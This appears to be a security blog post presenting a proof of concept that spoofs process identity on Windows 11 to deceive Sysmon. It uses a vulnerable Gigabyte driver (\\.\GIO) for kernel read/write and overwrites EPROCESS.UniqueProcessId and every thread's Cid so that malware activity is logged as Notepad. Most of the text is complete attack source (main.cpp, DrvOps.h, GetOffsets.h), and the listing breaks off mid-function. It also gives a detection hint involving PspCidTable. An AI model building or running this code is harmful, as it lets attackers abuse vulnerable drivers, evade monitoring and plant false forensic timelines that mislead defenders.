


Executive Summary
S12 (0x12Dark Development) asked a kernel question in August 2026: what happens if you overwrite EPROCESS.UniqueProcessId at runtime? The answer is not a crash. It is a lie that Sysmon believes. Patch that field and every thread’s ETHREAD.Cid.UniqueProcess, and Event IDs 11, 22, 1 and 5 for your malware resolve to Notepad: image path, parent, tree, the lot. The PoC gets kernel read/write through a Bring-Your-Own-Vulnerable-Driver primitive on Gigabyte GIO (\\.\GIO, IOCTL 0xC3502808, loldrivers.io 2bea1bca-753c-4f09-bc9f-566ab0193f4a). Offsets come from DbgHelp against the live ntoskrnl PDB, so the same binary walks Windows 11 25H2 without hardcoded constants.
This draft keeps every listing and Sysmon screenshot from the Medium post, then adds the kitchen picture of three independent ledgers, why PspCidTable is the copy that still tells the truth, and how a defender who only lives in Sysmon will write a false timeline. The remaining IOC, in the author’s own words: EDRs that cross-check ETHREAD.Cid against PspCidTable will see the split. Sysmon will not. Do not run this against production. Restore-before-exit is the difference between a clean Event 5 and an orphaned Event 1.
The telemetry doesn’t just show the wrong PID, it resolves the wrong image path, the wrong parent, and builds a completely false process tree.
S12, August 2026
Windows Keeps Three Copies of Who You Are


Windows does not have one PID. It has at least three places that claim to know it, and they are not kept in lockstep by hardware:
- EPROCESS.UniqueProcessId — the PID field on the process object. Layout: Vergilius, Windows 11 25H2 _EPROCESS. Tools that walk
PsActiveProcessLinksread this. - PspCidTable — a kernel handle table indexed by PID/4. The kernel treats this as authoritative for
NtOpenProcess, many handle operations, and a lot of callbacks. - ETHREAD.Cid.UniqueProcess — each thread carries a
CLIENT_ID. ETW kernel callbacks, minifilter callbacks, and Sysmon’s driver read here, not from UniqueProcessId.
Patch UniqueProcessId alone and Process Explorer-style list walkers get confused, but Sysmon still prints the real PID. The interesting write is the per-thread Cid. CLIENT_ID.UniqueProcess sits at offset 0 of the Cid field, so ethread + Cid is the right cell.
Implementation
Find your EPROCESS
With a kernel read primitive, start at PsInitialSystemProcess (PID 4), walk ActiveProcessLinks, match UniqueProcessId to yourself.
DWORD64 initialSystemProcess = ntoskrnlBase + g_offsets.PsInitialSystemProcess;
DWORD64 systemEPROCESS = 0;
ReadPrimitive(drv, &systemEPROCESS, (LPVOID)(uintptr_t)initialSystemProcess, sizeof(DWORD64));
// Walk PsActiveProcessLinks until PID matches
DWORD64 headList = systemEPROCESS + g_offsets.ActiveProcessLinks;
// ...
Patch EPROCESS.UniqueProcessId
Overwrite the PID with a live Notepad PID:
DWORD64 newValue = targetPid;
WritePrimitive(drv, (LPVOID)(uintptr_t)(eprocess + g_offsets.UniqueProcessId),
&newValue, sizeof(newValue));
List walkers now see the mutated PID. Sysmon still does not.
Patch every ETHREAD.Cid.UniqueProcess
Walk EPROCESS.ThreadListHead. For each ETHREAD, write the new PID into Cid. Cap the walk at 1000 to avoid a corrupted list becoming an infinite loop.
void MutateAllThreadCids(HANDLE drv, DWORD64 eprocess, DWORD64 newPid) {
DWORD64 headAddr = eprocess + g_offsets.ThreadListHead;
DWORD64 currentFlink = 0;
ReadPrimitive(drv, ¤tFlink, (LPVOID)(uintptr_t)headAddr, sizeof(DWORD64));
DWORD64 current = currentFlink;
int count = 0;
while (current != headAddr && count < 1000) {
count++;
DWORD64 ethread = current - g_offsets.ThreadListEntry;
WritePrimitive(drv, (LPVOID)(uintptr_t)(ethread + g_offsets.Cid),
&newPid, sizeof(DWORD64));
DWORD64 nextFlink = 0;
ReadPrimitive(drv, &nextFlink, (LPVOID)(uintptr_t)current, sizeof(DWORD64));
current = nextFlink;
}
}
Restore before exit
If you die wearing Notepad’s PID, Sysmon never gets Event 5 for your real process and never ties Event 1 for PID 3284 to a termination. Restore UniqueProcessId (and the Cids) before you exit so the timeline has a close-brace.
void RestorePID(HANDLE drv, DWORD64 eprocess, DWORD originalPid) {
DWORD64 restorePid = (DWORD64)originalPid;
WritePrimitive(drv, (LPVOID)(uintptr_t)(eprocess + g_offsets.UniqueProcessId),
&restorePid, sizeof(restorePid));
// Also restore all ETHREAD.Cid fields...
}
Offsets without Hardcoding
DbgHelp against ntoskrnl’s PDB. No build-specific constants:
out.UniqueProcessId = ResolveFieldOffset(hSym, modBase, "_EPROCESS", "UniqueProcessId");
out.ActiveProcessLinks = ResolveFieldOffset(hSym, modBase, "_EPROCESS", "ActiveProcessLinks");
out.ThreadListHead = ResolveFieldOffset(hSym, modBase, "_EPROCESS", "ThreadListHead");
out.ThreadListEntry = ResolveFieldOffset(hSym, modBase, "_ETHREAD", "ThreadListEntry");
out.Cid = ResolveFieldOffset(hSym, modBase, "_ETHREAD", "Cid");
out.PsInitialSystemProcess = ResolveSymbolRva(hSym, modBase, "PsInitialSystemProcess");
GetOffsets.h (full file below) pulls the PDB via WinHTTP from Microsoft’s symbol server using the RSDS CodeView info in ntoskrnl, then SymGetTypeFromName / field offsets. That is why the PoC claims portability across Windows builds.
The Driver: GIO, Not Magic
DrvOps.h talks to \\.\GIO with IOCTL 0xC3502808. That is the Gigabyte “GIGABYTE UPDATE SERVICE” style vulnerable driver catalogued on LOLDrivers. The structs are a destination, a source, and a size. Read and write are the same IOCTL with the buffer used differently. HVCI / Microsoft’s vulnerable-driver blocklist / WDAC are supposed to stop this load. If they do, there is no primitive and no PID lie.
This is the same family of BYOVD as every other DeviceIoControl arbitrary R/W from 2018 onward. The novelty is what gets written: identity cells Sysmon trusts, not a token steal (though the same primitive can do that too).
Full Code
main.cpp
#include <iostream>
#include <Windows.h>
#include <winternl.h>
#include <TlHelp32.h>
#include <algorithm>
#include <vector>
#include "DrvOps.h"
#include "GetOffsets.h"
#pragma comment(lib, "ws2_32.lib")
using namespace std;
struct offsets {
ULONG64 ActiveProcessLinks;
ULONG64 UniqueProcessId;
ULONG64 PsInitialSystemProcess;
ULONG64 ThreadListHead;
ULONG64 ThreadListEntry;
ULONG64 Cid;
} g_offsets = {
};
typedef struct _SYSTEM_MODULE_ENTRY {
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} SYSTEM_MODULE_ENTRY, * PSYSTEM_MODULE_ENTRY;
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Count;
SYSTEM_MODULE_ENTRY Modules[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
struct KernelDriver {
std::string Name;
uintptr_t BaseAddress;
uint32_t Size;
};
typedef NTSTATUS(NTAPI* pNtQuerySystemInformation)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
DWORD64 GetNtoskrnlBase(const std::vector<KernelDriver>& drivers) {
if (drivers.empty()) {
return 0;
}
for (const auto& drv : drivers) {
std::string nameLower = drv.Name;
std::transform(nameLower.begin(), nameLower.end(), nameLower.begin(), ::tolower);
if (nameLower.find("ntoskrnl.exe") != std::string::npos ||
nameLower.find("ntkrnl") != std::string::npos) {
return (DWORD64)drv.BaseAddress;
}
}
return 0;
}
std::vector<KernelDriver> GetSortedKernelDrivers() {
std::vector<KernelDriver> driverList;
auto NtQuerySystemInformation = (pNtQuerySystemInformation)GetProcAddress(
GetModuleHandleA("ntdll.dll"), "NtQuerySystemInformation");
if (!NtQuerySystemInformation) return driverList;
ULONG len = 0;
const int SystemModuleInformation = 11;
NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, NULL, 0, &len);
std::vector<BYTE> buffer(len);
NTSTATUS status = NtQuerySystemInformation(
(SYSTEM_INFORMATION_CLASS)SystemModuleInformation,
buffer.data(),
len,
&len
);
if (status != 0) return driverList; // STATUS_SUCCESS = 0
auto mods = reinterpret_cast<PSYSTEM_MODULE_INFORMATION>(buffer.data());
for (ULONG i = 0; i < mods->Count; i++) {
SYSTEM_MODULE_ENTRY& entry = mods->Modules[i];
KernelDriver drv;
drv.BaseAddress = reinterpret_cast<uintptr_t>(entry.ImageBase);
drv.Size = entry.ImageSize;
const char* nameStart = reinterpret_cast<const char*>(entry.FullPathName) + entry.OffsetToFileName;
drv.Name = std::string(nameStart);
driverList.push_back(drv);
}
std::sort(driverList.begin(), driverList.end(), [](const KernelDriver& a, const KernelDriver& b) {
return a.BaseAddress < b.BaseAddress;
});
return driverList;
}
DWORD64 getEPROCESS(HANDLE drv, DWORD64 ntoskrnlBase, DWORD pid)
{
if (ntoskrnlBase == 0)
{
std::cerr << "Failed to find ntoskrnl.exe base address." << std::endl;
return 0;
}
DWORD64 initialSystemProcess = ntoskrnlBase + g_offsets.PsInitialSystemProcess; // Get EPROCESS of the System process (PID 4)
cout << "PsInitialSystemProcess address " << initialSystemProcess << endl;
getchar();
// Open Driver
getchar();
// Read Primitive to get EPROCESS structure from System Process
DWORD64 systemEPROCESS = 0;
BOOL readResult = ReadPrimitive(drv, &systemEPROCESS, (LPVOID)(uintptr_t)initialSystemProcess, sizeof(DWORD64));
cout << "System EPROCESS: " << systemEPROCESS << endl;
// Make sure that the EPROCESS is not from the PID 4 (System)
DWORD systemPid = 0;
BOOL readPIDSystemResult = ReadPrimitive(drv, &systemPid, (LPVOID)(uintptr_t)(systemEPROCESS + g_offsets.UniqueProcessId), sizeof(DWORD));
cout << "System PID: " << systemPid << endl;
if (systemPid == pid) {
return systemEPROCESS; // If the target process is SYSTEM (PID 4) we already have it
}
// Walk through the whole list
DWORD64 headList = systemEPROCESS + g_offsets.ActiveProcessLinks;
cout << "headList address :" << headList << endl;
// Get first process
DWORD64 firstProcess = 0;
BOOL readFirstResult = ReadPrimitive(drv, &firstProcess, (LPVOID)(uintptr_t)headList, sizeof(DWORD64));
if (!readFirstResult) {
cout << "Failed getting first process" << endl;
}
cout << "First Flink: " << firstProcess << endl;
DWORD64 currentProcess = firstProcess;
int counter = 0;
getchar();
cout << "Starting while " << endl;
while (currentProcess != headList && counter < 5000) {
counter++;
DWORD64 eprocess = currentProcess - g_offsets.ActiveProcessLinks;
cout << "Checking EPROCESS " << eprocess << endl;
// Read PID
DWORD currentPid = 0;
BOOL readPIDResult = ReadPrimitive(drv, ¤tPid, (LPVOID)(uintptr_t)(eprocess + g_offsets.UniqueProcessId), sizeof(DWORD));
if (!readPIDResult) {
cout << "Error getting current PID " << endl;
}
cout << "Current PID " << currentPid << endl;
if (currentPid == pid) {
cout << "Correct EPROCESS Found " << endl;
return eprocess;
}
// Read next one
DWORD64 nextProcess = 0;
BOOL readNextResult = ReadPrimitive(drv, &nextProcess, (LPVOID)(uintptr_t)currentProcess, sizeof(DWORD64));
if (!readNextResult) {
cout << "Error getting next result " << endl;
}
currentProcess = nextProcess;
}
cout << "PID Not found after checking all processes " << endl;
return 0;
}
int getPIDbyProcName(const string& procName) {
int pid = 0;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnap == INVALID_HANDLE_VALUE) {
return 0;
}
PROCESSENTRY32W pe32;
pe32.dwSize = sizeof(PROCESSENTRY32W);
if (Process32FirstW(hSnap, &pe32) != FALSE) {
wstring wideProcName(procName.begin(), procName.end());
do {
if (_wcsicmp(pe32.szExeFile, wideProcName.c_str()) == 0) {
pid = pe32.th32ProcessID;
break;
}
} while (Process32NextW(hSnap, &pe32) != FALSE);
}
CloseHandle(hSnap);
return pid;
}
BOOL EnableSeDebugPrivilege()
{
HANDLE hToken;
TOKEN_PRIVILEGES tp;
LUID luid;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
std::cerr << "OpenProcessToken failed: " << GetLastError() << std::endl;
return FALSE;
}
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
{
std::cerr << "LookupPrivilegeValue failed: " << GetLastError() << std::endl;
CloseHandle(hToken);
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL))
{
std::cerr << "AdjustTokenPrivileges failed: " << GetLastError() << std::endl;
CloseHandle(hToken);
return FALSE;
}
CloseHandle(hToken);
return TRUE;
}
void GenerateFileActivity() {
HANDLE hFile = CreateFileA(
"C:\\Temp\\sysmon_test.txt",
GENERIC_WRITE, 0, NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL, NULL
);
if (hFile == INVALID_HANDLE_VALUE) return;
const char* data = "sysmon pid mutation test";
DWORD written;
WriteFile(hFile, data, strlen(data), &written, NULL);
CloseHandle(hFile);
printf("[+] File written\n");
}
void GenerateProcessCreate() {
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi = {};
char cmdPath[MAX_PATH];
GetSystemDirectoryA(cmdPath, MAX_PATH);
strcat_s(cmdPath, "\\cmd.exe");
BOOL ok = CreateProcessA(
cmdPath,
NULL,
NULL, NULL, FALSE,
CREATE_NEW_CONSOLE,
NULL, NULL, &si, &pi
);
if (!ok) {
printf("[-] CreateProcess failed: %d\n", GetLastError());
// Fallback: BreakawayFromJob
ok = CreateProcessA(
cmdPath, NULL,
NULL, NULL, FALSE,
CREATE_NEW_CONSOLE | CREATE_BREAKAWAY_FROM_JOB,
NULL, NULL, &si, &pi
);
if (!ok) {
printf("[-] Breakaway also failed: %d\n", GetLastError());
return;
}
printf("[+] Created with breakaway\n");
}
printf("[+] Child PID: %d\n", pi.dwProcessId);
Sleep(1000);
TerminateProcess(pi.hProcess, 0);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
// Muta Cid.UniqueProcess de un ETHREAD individual
void MutateThreadCid(
HANDLE drv,
DWORD64 ethread,
DWORD64 newPid
) {
DWORD64 currentCid = 0;
ReadPrimitive(
drv, ¤tCid,
(LPVOID)(uintptr_t)(ethread + g_offsets.Cid),
sizeof(DWORD64)
);
printf(" [*] ETHREAD: 0x%llX | Cid.UniqueProcess: %llu\n",
ethread, currentCid);
WritePrimitive(
drv,
(LPVOID)(uintptr_t)(ethread + g_offsets.Cid),
&newPid, sizeof(DWORD64)
);
printf(" [+] Mutated -> %llu\n", newPid);
}
void MutateAllThreadCids(HANDLE drv, DWORD64 eprocess, DWORD64 newPid) {
DWORD64 headAddr = eprocess + g_offsets.ThreadListHead;
// Leer Flink del head
DWORD64 currentFlink = 0;
BOOL ok = ReadPrimitive(drv, ¤tFlink, (LPVOID)(uintptr_t)headAddr, sizeof(DWORD64));
if (!ok || currentFlink == 0) {
printf("Failed to read ThreadListHead Flink\n");
return;
}
printf("Walking ThreadListHead @ 0x%llX\n", headAddr);
DWORD64 current = currentFlink;
int count = 0;
while (current != headAddr && count < 1000) {
count++;
DWORD64 ethread = current - g_offsets.ThreadListEntry;
MutateThreadCid(drv, ethread, newPid);
DWORD64 nextFlink = 0;
ok = ReadPrimitive(drv, &nextFlink, (LPVOID)(uintptr_t)current, sizeof(DWORD64));
if (!ok || nextFlink == 0) {
printf("Failed reading next Flink at iteration %d\n", count);
break;
}
current = nextFlink;
}
printf("Mutated Cid in %d threads\n", count);
}
void GenerateDNS() {
WSADATA wsa;
WSAStartup(MAKEWORD(2, 2), &wsa);
struct hostent* h = gethostbyname("example.com");
WSACleanup();
}
void GenerateRegistry() {
HKEY hKey;
RegCreateKeyExA(HKEY_CURRENT_USER,
"SOFTWARE\\TestMutation", 0, NULL,
REG_OPTION_NON_VOLATILE,
KEY_WRITE, NULL, &hKey, NULL);
RegCloseKey(hKey);
}
void RestorePID(HANDLE drv, DWORD64 eprocess, DWORD originalPid) {
DWORD64 restorePid = (DWORD64)originalPid;
WritePrimitive(drv, (LPVOID)(uintptr_t)(eprocess + g_offsets.UniqueProcessId), &restorePid, sizeof(restorePid));
printf("[+] EPROCESS.UniqueProcessId restored to %llu\n", restorePid);
DWORD64 headAddr = eprocess + g_offsets.ThreadListHead;
DWORD64 currentFlink = 0;
BOOL ok = ReadPrimitive(drv, ¤tFlink, (LPVOID)(uintptr_t)headAddr, sizeof(DWORD64));
if (!ok || currentFlink == 0) {
printf("RestorePID: failed to read ThreadListHead\n");
return;
}
DWORD64 current = currentFlink;
int count = 0;
while (current != headAddr && count < 1000) {
count++;
DWORD64 ethread = current - g_offsets.ThreadListEntry;
WritePrimitive(drv, (LPVOID)(uintptr_t)(ethread + g_offsets.Cid), &restorePid, sizeof(DWORD64));
DWORD64 nextFlink = 0;
ok = ReadPrimitive(drv, &nextFlink, (LPVOID)(uintptr_t)current, sizeof(DWORD64));
if (!ok || nextFlink == 0) break;
current = nextFlink;
}
printf("Restored Cid in %d threads\n", count);
}
int main() {
// 1. Enable SeDebugPrivilege for the current process
BOOL setPriv = EnableSeDebugPrivilege();
// 2. Get offsets
KernelOffsets off{};
if (!ResolveKernelOffsets(off)) {
printf("\n[-] Failed to resolve kernel offsets\n");
return 1;
}
printf("\n[+] Offsets resolved\n");
g_offsets.ActiveProcessLinks = off.ActiveProcessLinks;
g_offsets.UniqueProcessId = off.UniqueProcessId;
g_offsets.PsInitialSystemProcess = off.PsInitialSystemProcess;
g_offsets.ThreadListHead = off.ThreadListHead;
g_offsets.ThreadListEntry = off.ThreadListEntry;
g_offsets.Cid = off.Cid;
printf("ActiveProcessLinks: 0x%llX\n", (unsigned long long)g_offsets.ActiveProcessLinks);
printf("UniqueProcessId: 0x%llX\n", (unsigned long long)g_offsets.UniqueProcessId);
printf("PsInitialSystemProcess: 0x%llX\n", (unsigned long long)g_offsets.PsInitialSystemProcess);
printf("ThreadListHead: 0x%llX\n", (unsigned long long)g_offsets.ThreadListHead);
printf("ThreadListEntry: 0x%llX\n", (unsigned long long)g_offsets.ThreadListEntry);
printf("Cid: 0x%llX\n", (unsigned long long)g_offsets.Cid);
// 3. List all drivers
vector<KernelDriver> drivers = GetSortedKernelDrivers();
// 4. Get ntoskrnl.exe address
DWORD64 ntoskrnlBase = GetNtoskrnlBase(drivers);
cout << "NTOSKRNL Base address " << hex << ntoskrnlBase << endl;
getchar();
HANDLE drv = openVulnDriver();
DWORD pid = GetCurrentProcessId();
// 5. Get EPROCESS of the target process
DWORD64 eprocess = getEPROCESS(drv, ntoskrnlBase, pid);
// 6. Read PID mutation
DWORD64 processId = eprocess + g_offsets.UniqueProcessId;
DWORD64 resultPID;
BOOL readPIDSystemResult = ReadPrimitive(drv, &resultPID, (LPVOID)(uintptr_t)(processId), sizeof(resultPID));
cout << "PID: " << dec << resultPID << endl;
cout << "Hex PID: " << hex << resultPID << endl;
getchar();
//DWORD64 newValue = 1234567890;
DWORD64 newValue;
cout << "Enter new PID: ";
cin >> newValue;
// Write new EPROCESS.UniqueProcessId
WritePrimitive(drv, (LPVOID)(uintptr_t)(eprocess + g_offsets.UniqueProcessId), &newValue, sizeof(newValue));
getchar();
getchar();
// Write the new PID in all the threads
MutateAllThreadCids(drv, eprocess, newValue);
cout << "Generating file activity" << endl;
GenerateFileActivity();
getchar();
cout << "Generating process creation telemetry" << endl;
GenerateProcessCreate();
getchar();
cout << "Generating network telemetry" << endl;
GenerateDNS();
getchar();
cout << "Generating registry telemetry" << endl;
GenerateRegistry();
getchar();
getchar();
// restore the original PID before terminate the process
RestorePID(drv, eprocess, pid);
return 0;
}
DrvOps.h
#include <iostream>
#include <Windows.h>
// https://www.loldrivers.io/drivers/2bea1bca-753c-4f09-bc9f-566ab0193f4a/
#define IOCTL_READWRITE_PRIMITIVE 0xC3502808
using namespace std;
typedef struct KernelWritePrimitive {
LPVOID dst;
LPVOID src;
DWORD size;
} KernelWritePrimitive;
typedef struct KernelReadPrimitive {
LPVOID dst;
LPVOID src;
DWORD size;
} KernelReadPrimitive;
BOOL WritePrimitive(HANDLE driver, LPVOID dst, LPVOID src, DWORD size) {
KernelWritePrimitive kwp;
kwp.dst = dst;
kwp.src = src;
kwp.size = size;
BYTE bufferReturned[48] = { 0 };
DWORD returned = 0;
BOOL result = DeviceIoControl(driver, IOCTL_READWRITE_PRIMITIVE, (LPVOID)&kwp, sizeof(kwp), (LPVOID)bufferReturned, sizeof(bufferReturned), &returned, nullptr);
if (!result) {
cout << "Failed to send write primitive. Error code: " << GetLastError() << endl;
return FALSE;
}
cout << "Write primitive sent successfully. Bytes returned: " << returned << endl;
return TRUE;
}
BOOL ReadPrimitive(HANDLE driver, LPVOID dst, LPVOID src, DWORD size) {
KernelReadPrimitive krp;
krp.dst = dst;
krp.src = src;
krp.size = size;
DWORD returned = 0;
BOOL result = DeviceIoControl(driver, IOCTL_READWRITE_PRIMITIVE, (LPVOID)&krp, sizeof(krp), (LPVOID)dst, size, &returned, nullptr);
if (!result) {
cout << "Failed to send read primitive. Error code: " << GetLastError() << endl;
return FALSE;
}
return TRUE;
}
HANDLE openVulnDriver() {
HANDLE driver = CreateFileA("\\\\.\\GIO", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
if (!driver || driver == INVALID_HANDLE_VALUE)
{
cout << "Failed to open handle to driver. Error code: " << GetLastError() << endl;
return NULL;
}
return driver;
}
GetOffsets.h
#pragma once
#define WIN32_LEAN_AND_MEAN
#define NOMINMAX
#include <Windows.h>
#include <winhttp.h>
#include <dbghelp.h>
#include <stdio.h>
#include <string>
#include <vector>
//#include <algorithm>
#pragma comment(lib, "winhttp.lib")
#pragma comment(lib, "dbghelp.lib")
// Data Structures
struct PdbCodeViewInfo {
GUID Guid;
DWORD Age;
char PdbFileName[MAX_PATH];
};
struct KernelOffsets {
// EPROCESS struct field offsets (bytes from struct base)
DWORD ThreadListHead;
DWORD ThreadListEntry;
DWORD Cid;
DWORD64 ObHeaderCookie;
DWORD UniqueProcessId;
DWORD ActiveProcessLinks;
DWORD64 PsInitialSystemProcess;
};
// PE Parsing
#pragma pack(push, 1)
struct CV_INFO_PDB70 {
DWORD CvSignature; // 0x53445352 = 'RSDS'
GUID Signature;
DWORD Age;
char PdbFileName[1];
};
#pragma pack(pop)
static DWORD RvaToFileOffset(PIMAGE_NT_HEADERS nt, DWORD rva) {
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) {
if (rva >= sec->VirtualAddress &&
rva < sec->VirtualAddress + sec->Misc.VirtualSize)
return rva - sec->VirtualAddress + sec->PointerToRawData;
}
return 0;
}
static bool GetPdbInfoFromPE(const char* exePath, PdbCodeViewInfo& out) {
HANDLE hFile = CreateFileA(exePath, GENERIC_READ, FILE_SHARE_READ,
nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[-] Cannot open '%s' (err %lu)\n", exePath, GetLastError());
return false;
}
LARGE_INTEGER sz{};
GetFileSizeEx(hFile, &sz);
std::vector<BYTE> buf(static_cast<size_t>(sz.QuadPart));
DWORD rd = 0;
bool ok = ReadFile(hFile, buf.data(), static_cast<DWORD>(buf.size()), &rd, nullptr)
&& rd == buf.size();
CloseHandle(hFile);
if (!ok) return false;
auto* dos = reinterpret_cast<PIMAGE_DOS_HEADER>(buf.data());
if (dos->e_magic != IMAGE_DOS_SIGNATURE) return false;
auto* nt = reinterpret_cast<PIMAGE_NT_HEADERS>(buf.data() + dos->e_lfanew);
if (nt->Signature != IMAGE_NT_SIGNATURE) return false;
auto& dd = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DEBUG];
if (!dd.VirtualAddress || !dd.Size) return false;
DWORD ddOff = RvaToFileOffset(nt, dd.VirtualAddress);
if (!ddOff || ddOff + dd.Size > buf.size()) return false;
int entryCount = dd.Size / sizeof(IMAGE_DEBUG_DIRECTORY);
auto* entries = reinterpret_cast<PIMAGE_DEBUG_DIRECTORY>(buf.data() + ddOff);
for (int i = 0; i < entryCount; i++) {
if (entries[i].Type != IMAGE_DEBUG_TYPE_CODEVIEW) continue;
DWORD raw = entries[i].PointerToRawData;
if (!raw) raw = RvaToFileOffset(nt, entries[i].AddressOfRawData);
if (!raw || raw >= buf.size()) continue;
auto* cv = reinterpret_cast<CV_INFO_PDB70*>(buf.data() + raw);
if (cv->CvSignature != 0x53445352) continue; // 'RSDS'
out.Guid = cv->Signature;
out.Age = cv->Age;
strncpy_s(out.PdbFileName, cv->PdbFileName, _TRUNCATE);
return true;
}
printf("[-] No CodeView RSDS entry found in PE\n");
return false;
}
// PDB Cache Validation
#pragma pack(push, 1)
struct MsfSuperBlock {
char FileMagic[0x20];
DWORD BlockSize;
DWORD FreeBlockMapBlock;
DWORD NumBlocks;
DWORD NumDirectoryBytes;
DWORD Unknown;
DWORD BlockMapAddr;
};
struct PdbInfoStreamHeader {
DWORD Version;
DWORD Signature;
DWORD Age;
GUID UniqueId;
};
#pragma pack(pop)
static bool ExtractGuidFromPdb(const char* pdbPath, GUID& outGuid) {
HANDLE hFile = CreateFileA(pdbPath, GENERIC_READ, FILE_SHARE_READ,
nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
if (hFile == INVALID_HANDLE_VALUE) return false;
LARGE_INTEGER sz{};
GetFileSizeEx(hFile, &sz);
std::vector<BYTE> buf(static_cast<size_t>(sz.QuadPart));
DWORD rd = 0;
ReadFile(hFile, buf.data(), static_cast<DWORD>(buf.size()), &rd, nullptr);
CloseHandle(hFile);
if (buf.size() < sizeof(MsfSuperBlock)) return false;
// MSF 7.00 magic (null-terminated string is 32 bytes including padding)
static const char kMsfMagic[] = "Microsoft C/C++ MSF 7.00\r\n\x1A""DS";
auto* sb = reinterpret_cast<MsfSuperBlock*>(buf.data());
if (memcmp(sb->FileMagic, kMsfMagic, sizeof(kMsfMagic) - 1) != 0) return false;
DWORD bs = sb->BlockSize;
DWORD nd = sb->NumDirectoryBytes;
if (!bs || !nd) return false;
DWORD nDirBlocks = (nd + bs - 1) / bs;
DWORD bmOffset = sb->BlockMapAddr * bs;
if (bmOffset >= buf.size()) return false;
// Reconstruct stream directory into contiguous buffer
auto* blockIdx = reinterpret_cast<DWORD*>(buf.data() + bmOffset);
std::vector<BYTE> dir(nd, 0);
DWORD written = 0;
for (DWORD i = 0; i < nDirBlocks; i++) {
DWORD blkOff = blockIdx[i] * bs;
if (blkOff >= buf.size()) break;
DWORD chunk = min(bs, nd - written);
memcpy(dir.data() + written, buf.data() + blkOff, chunk);
written += chunk;
}
// Directory layout: [NumStreams(4)] [StreamSizes(4*N)] [StreamBlockIndices...]
DWORD numStreams = *reinterpret_cast<DWORD*>(dir.data());
if (numStreams < 2) return false;
auto* streamSizes = reinterpret_cast<DWORD*>(dir.data() + 4);
auto* flatBlocks = reinterpret_cast<DWORD*>(dir.data() + 4 + numStreams * 4);
DWORD s0Size = streamSizes[0];
DWORD s0Blocks = (s0Size == 0xFFFFFFFF) ? 0 : (s0Size + bs - 1) / bs;
// Stream 1 first block index sits right after all of stream 0's block indices
DWORD s1BlockOff = flatBlocks[s0Blocks] * bs;
if (s1BlockOff + sizeof(PdbInfoStreamHeader) > buf.size()) return false;
outGuid = reinterpret_cast<PdbInfoStreamHeader*>(buf.data() + s1BlockOff)->UniqueId;
return true;
}
// PDB Download via WinHTTP from Microsoft Symbol Server
static std::wstring BuildSymSrvUri(const GUID& g, DWORD age, const wchar_t* pdbName) {
wchar_t guid[48];
swprintf_s(guid,
L"%08X%04X%04X%02X%02X%02X%02X%02X%02X%02X%02X%X",
g.Data1, g.Data2, g.Data3,
g.Data4[0], g.Data4[1], g.Data4[2], g.Data4[3],
g.Data4[4], g.Data4[5], g.Data4[6], g.Data4[7],
age);
std::wstring uri = L"/download/symbols/";
uri += pdbName; uri += L"/";
uri += guid; uri += L"/";
uri += pdbName;
return uri;
}
static bool DownloadPdb(const GUID& guid, DWORD age, const wchar_t* pdbNameW, const char* outPath) {
std::wstring uri = BuildSymSrvUri(guid, age, pdbNameW);
printf("[*] Downloading: https://msdl.microsoft.com%ls\n", uri.c_str());
HINTERNET hSess = WinHttpOpen(L"PDBOffsets/1.0",
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME,
WINHTTP_NO_PROXY_BYPASS, 0);
if (!hSess) { printf("[-] WinHttpOpen failed (%lu)\n", GetLastError()); return false; }
HINTERNET hConn = WinHttpConnect(hSess, L"msdl.microsoft.com",
INTERNET_DEFAULT_HTTPS_PORT, 0);
HINTERNET hReq = hConn ? WinHttpOpenRequest(hConn, L"GET", uri.c_str(),
nullptr, WINHTTP_NO_REFERER,
WINHTTP_DEFAULT_ACCEPT_TYPES,
WINHTTP_FLAG_SECURE) : nullptr;
auto closeAll = [&] {
if (hReq) WinHttpCloseHandle(hReq);
if (hConn) WinHttpCloseHandle(hConn);
WinHttpCloseHandle(hSess);
};
if (!hReq) { closeAll(); return false; }
if (!WinHttpSendRequest(hReq, WINHTTP_NO_ADDITIONAL_HEADERS, 0,
WINHTTP_NO_REQUEST_DATA, 0, 0, 0) ||
!WinHttpReceiveResponse(hReq, nullptr)) {
printf("[-] WinHTTP request failed (%lu)\n", GetLastError());
closeAll();
return false;
}
DWORD status = 0, statusLen = sizeof(status);
WinHttpQueryHeaders(hReq,
WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER,
WINHTTP_HEADER_NAME_BY_INDEX, &status, &statusLen, WINHTTP_NO_HEADER_INDEX);
if (status != 200) {
printf("[-] HTTP %lu from symbol server\n", status);
closeAll();
return false;
}
// Read body in chunks
std::vector<BYTE> body;
body.reserve(32 * 1024 * 1024);
BYTE chunk[65536];
DWORD rd = 0;
while (WinHttpReadData(hReq, chunk, sizeof(chunk), &rd) && rd > 0)
